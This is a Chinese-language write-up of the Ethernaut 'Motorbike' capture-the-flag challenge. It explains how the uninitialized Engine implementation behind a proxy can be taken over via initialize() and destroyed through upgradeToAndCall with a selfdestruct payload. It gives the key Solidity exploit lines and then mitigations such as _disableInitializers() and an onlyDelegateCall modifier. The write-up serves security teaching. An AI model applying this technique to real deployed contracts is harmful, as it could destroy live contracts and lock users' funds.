Motorbike


文档摘要

Motorbike 题目描述 原题 in Sepolia 合约使用代理调用 合约的逻辑,我们使用 合约中的逻辑时,将函数调用发送到 合约中, 合约再代理调用 合约。目标是销毁 合约,使 合约失效(无法代理调用)。 运行 根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令: 功能简述 合约并没有 方法,无法销毁合约。但是 合约在初始化 合约时,使用的是代理调用,并没有直接合约间调用。也就是说, 合约并没有初始化。我们只要找到实际的 合约地址,并将它初始化, 将 变量赋值为我的地址, 然后再调用 函数 让 合约代理调用 方法。即可完成目标。 合约在使用代理时,一定要注意 也进行了必要的初始化,以防止额外的事故发生。

Motorbike

题目描述

原题 in Sepolia

Motorbike合约使用代理调用Engine合约的逻辑,我们使用Engine合约中的逻辑时,将函数调用发送到Motorbike合约中,Motorbike合约再代理调用Engine合约。目标是销毁Engine合约,使Motorbike合约失效(无法代理调用)。

运行

根据Foundry 官方文档配置好运行环境后,于本项目下执行下列命令:

$ cd WTF-CTF $ forge test -C src/Ethernaut/Motorbike -vvvvv

功能简述

Engine合约并没有selfdestruct方法,无法销毁合约。但是Motorbike合约在初始化Engine合约时,使用的是代理调用,并没有直接合约间调用。也就是说,Engine合约并没有初始化。我们只要找到实际的Engine合约地址,并将它初始化,

engine = address(uint160(uint256(vm.load(motorbike, _IMPLEMENTATION_SLOT))));

upgrader变量赋值为我的地址,

Engine(engine).initialize();

然后再调用upgradeToAndCall函数

Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()")); //function done() public { // selfdestruct(address(0)); //}

Engine合约代理调用selfdestruct方法。即可完成目标。

合约在使用代理时,一定要注意implementation合约也进行了必要的初始化,以防止额外的事故发生。

比如在implementation合约的构造函数中使用_disableInitializers()链接

或者在implementation合约的函数中使用onlyDelegateCall函数修饰器,以保证implementation合约中的函数不会被call。

address immutable original; constructor() { original = address(this); } modifier onlyDelegateCall() { require(address(this) != original); _; }

发布者: 作者: 转发
评论区 (0)
U